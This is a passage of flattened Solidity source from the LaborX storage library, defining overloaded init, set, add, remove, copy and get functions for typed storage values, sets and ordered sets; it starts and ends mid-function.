canGetNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function count(Iterator iterator) internal pure returns (uint) { return iterator.valuesLeft; } } // File: @laborx/solidity-storage-lib/contracts/StorageContractAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageContractAdapter { StorageInterface.Config internal store; constructor(Storage _store, bytes32 _crate) public { StorageInterface.init(store, _store, _crate); } } // File: @laborx/solidity-storage-lib/contracts/StorageInterfaceContract.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageInterfaceContract is StorageContractAdapter, Storage { bytes32 constant SET_IDENTIFIER = "set"; bytes32 constant ORDERED_SET_IDENTIFIER = "ordered_set"; // Can't use modifier due to a Solidity bug. function sanityCheck(bytes32 _currentId, bytes32 _newId) internal pure { if (_currentId != 0 || _newId == 0) { revert("STORAGE_INTERFACE_CONTRACT_SANITY_CHECK_FAILED"); } } function init(StorageInterface.Config storage self, bytes32 _crate) internal { self.crate = _crate; } function init(StorageInterface.UInt8 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.UInt storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Int storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Address storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Bool storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Bytes32 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.String storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.StringMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(StorageInterface.UIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntEnumMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUInt8Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.AddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes4BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes4Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32AddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Set storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "count"))); init(self.indexes, keccak256(abi.encodePacked(_id, "indexes"))); init(self.values, keccak256(abi.encodePacked(_id, "values"))); } function init(StorageInterface.AddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.CounterSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.OrderedSet storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "uint/count"))); init(self.first, keccak256(abi.encodePacked(_id, "uint/first"))); init(self.last, keccak256(abi.encodePacked(_id, "uint/last"))); init(self.nextValues, keccak256(abi.encodePacked(_id, "uint/next"))); init(self.previousValues, keccak256(abi.encodePacked(_id, "uint/prev"))); } function init(StorageInterface.OrderedUIntSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.OrderedAddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.Bytes32SetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressesSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32OrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } /** `set` operation */ function set(StorageInterface.Config storage self, StorageInterface.UInt storage item, uint _value) internal { _setUInt(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.UInt storage item, bytes32 _salt, uint _value) internal { _setUInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.UInt8 storage item, uint8 _value) internal { _setUInt8(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.UInt8 storage item, bytes32 _salt, uint8 _value) internal { _setUInt8(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Int storage item, int _value) internal { _setInt(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Int storage item, bytes32 _salt, int _value) internal { _setInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Address storage item, address _value) internal { _setAddress(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Address storage item, bytes32 _salt, address _value) internal { _setAddress(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bool storage item, bool _value) internal { _setBool(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 _salt, bool _value) internal { _setBool(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item, bytes32 _value) internal { _setBytes32(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item, bytes32 _salt, bytes32 _value) internal { _setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.String storage item, string _value) internal { _setString(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.String storage item, bytes32 _salt, string _value) internal { _setString(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, uint _key, uint _value) internal { _setUInt(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _value) internal { _setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(StorageInterface.Config storage self, StorageInterface.StringMapping storage item, bytes32 _key, string _value) internal { set(self, item.id, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.AddressUInt8Mapping storage item, bytes32 _key, address _value1, uint8 _value2) internal { _setAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value1, _value2); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bool _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressMapping storage item, uint _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntMapping storage item, uint _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntBoolMapping storage item, uint _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntEnumMapping storage item, uint _key, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntBytes32Mapping storage item, uint _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntMapping storage item, bytes32 _key, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UInt8Mapping storage item, bytes32 _key, uint8 _value) internal { set(self, item.innerMapping, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32BoolMapping storage item, bytes32 _key, bool _value) internal { set(self, item.innerMapping, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32Bytes32Mapping storage item, bytes32 _key, bytes32 _value) internal { set(self, item.innerMapping, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32AddressMapping storage item, bytes32 _key, address _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2, bool _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntMapping storage item, address _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBoolMapping storage item, address _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), toBytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes32Mapping storage item, address _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(StorageInterface.Config storage self, StorageInterface.AddressAddressMapping storage item, address _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressAddressUIntMapping storage item, address _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntMapping storage item, address _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressAddressUInt8Mapping storage item, address _key, address _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUInt8Mapping storage item, address _key, uint _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _key2, _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressUIntMapping storage item, uint _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressBoolMapping storage item, uint _key, address _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressMapping storage item, uint _key, address _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntAddressMapping storage item, uint _key, uint _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntBytes32Mapping storage item, uint _key, uint _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntMapping storage item, uint _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes4BoolMapping storage item, address _key, bytes4 _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } /** `add` operation */ function add(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal { add(self, item, SET_IDENTIFIER, _value); } function add(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) private { if (includes(self, item, _salt, _value)) { return; } uint newCount = count(self, item, _salt) + 1; set(self, item.values, _salt, bytes32(newCount), _value); set(self, item.indexes, _salt, _value, bytes32(newCount)); set(self, item.count, _salt, newCount); } function add(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.CounterSet storage item) internal { add(self, item.innerSet, bytes32(count(self, item) + 1)); } function add(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal { add(self, item, ORDERED_SET_IDENTIFIER, _value); } function add(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (_value == 0x0) { revert(); } if (includes(self, item, _salt, _value)) { return; } if (count(self, item, _salt) == 0x0) { set(self, item.first, _salt, _value); } if (get(self, item.last, _salt) != 0x0) { _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.last, _salt), _value); _setOrderedSetLink(self, item.previousValues, _salt, _value, get(self, item.last, _salt)); } _setOrderedSetLink(self, item.nextValues, _salt, _value, 0x0); set(self, item.last, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) + 1); } function add(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _oldValue, bytes32 _newValue) internal { set(self, item, SET_IDENTIFIER, _oldValue, _newValue); } function set(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _oldValue, bytes32 _newValue) private { if (!includes(self, item, _salt, _oldValue)) { return; } uint index = uint(get(self, item.indexes, _salt, _oldValue)); set(self, item.values, _salt, bytes32(index), _newValue); set(self, item.indexes, _salt, _newValue, bytes32(index)); set(self, item.indexes, _salt, _oldValue, bytes32(0)); } function set(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _oldValue, address _newValue) internal { set(self, item.innerSet, bytes32(_oldValue), bytes32(_newValue)); } /** `remove` operation */ function remove(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal { remove(self, item, SET_IDENTIFIER, _value); } function remove(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } uint lastIndex = count(self, item, _salt); bytes32 lastValue = get(self, item.values, _salt, bytes32(lastIndex)); uint index = uint(get(self, item.indexes, _salt, _value)); if (index < lastIndex) { set(self, item.indexes, _salt, lastValue, bytes32(index)); set(self, item.values, _salt, bytes32(index), lastValue); } set(self, item.indexes, _salt, _value, bytes32(0)); set(self, item.values, _salt, bytes32(lastIndex), bytes32(0)); set(self, item.count, _salt, lastIndex - 1); } function remove(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal { remove(self, item, ORDERED_SET_IDENTIFIER, _value); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.previousValues, _salt, _value), get(self, item.nextValues, _salt, _value)); _setOrderedSetLink(self, item.previousValues, _salt, get(self, item.nextValues, _salt, _value), get(self, item.previousValues, _salt, _value)); if (_value == get(self, item.first, _salt)) { set(self, item.first, _salt, get(self, item.nextValues, _salt, _value)); } if (_value == get(self, item.last, _salt)) { set(self, item.last, _salt, get(self, item.previousValues, _salt, _value)); } _deleteOrderedSetLink(self, item.nextValues, _salt, _value); _deleteOrderedSetLink(self, item.previousValues, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) - 1); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } /** 'copy` operation */ function copy(StorageInterface.Config storage self, StorageInterface.Set storage source, StorageInterface.Set storage dest) internal { uint _destCount = count(self, dest); bytes32[] memory _toRemoveFromDest = new bytes32[](_destCount); uint _idx; uint _pointer = 0; for (_idx = 0; _idx < _destCount; ++_idx) { bytes32 _destValue = get(self, dest, _idx); if (!includes(self, source, _destValue)) { _toRemoveFromDest[_pointer++] = _destValue; } } uint _sourceCount = count(self, source); for (_idx = 0; _idx < _sourceCount; ++_idx) { add(self, dest, get(self, source, _idx)); } for (_idx = 0; _idx < _pointer; ++_idx) { remove(self, dest, _toRemoveFromDest[_idx]); } } function copy(StorageInterface.Config storage self, StorageInterface.AddressesSet storage source, StorageInterface.AddressesSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } function copy(StorageInterface.Config storage self, StorageInterface.CounterSet storage source, StorageInterface.CounterSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } /** `get` operation */ function get(StorageInterface.Config storage self, StorageInterface.UInt storage item) internal view returns (uint) { return getUInt(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.UInt storage item, bytes32 salt) internal view returns (uint) { return getUInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.UInt8 storage item) internal view returns (uint8) { return getUInt8(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.UInt8 storage item, bytes32 salt) internal view returns (uint8) { return getUInt8(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Int storage item) internal view returns (int) { return getInt(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Int storage item, bytes32 salt) internal view returns (int) { return getInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Address storage item) internal view returns (address) { return getAddress(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Address storage item, bytes32 salt) internal view returns (address) { return getAddress(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Bool storage item) internal view returns (bool) { return getBool(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 salt) internal view returns (bool) { return getBool(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item) internal view returns (bytes32) { return getBytes32(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item, bytes32 salt) internal view returns (bytes32) { return getBytes32(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.String storage item) internal view returns (string) { return getString(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.String storage item, bytes32 salt) internal view returns (string) { return getString(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, uint _key) internal view returns (uint) { return getUInt(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key) internal view returns (bytes32) { return getBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(StorageInterface.Config storage self, StorageInterface.StringMapping storage item, bytes32 _key) internal view returns (string) { return get(self, item.id, _key); } function get(StorageInterface.Config storage self, StorageInterface.AddressUInt8Mapping storage item, bytes32 _key) internal view returns (address, uint8) { return getAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, 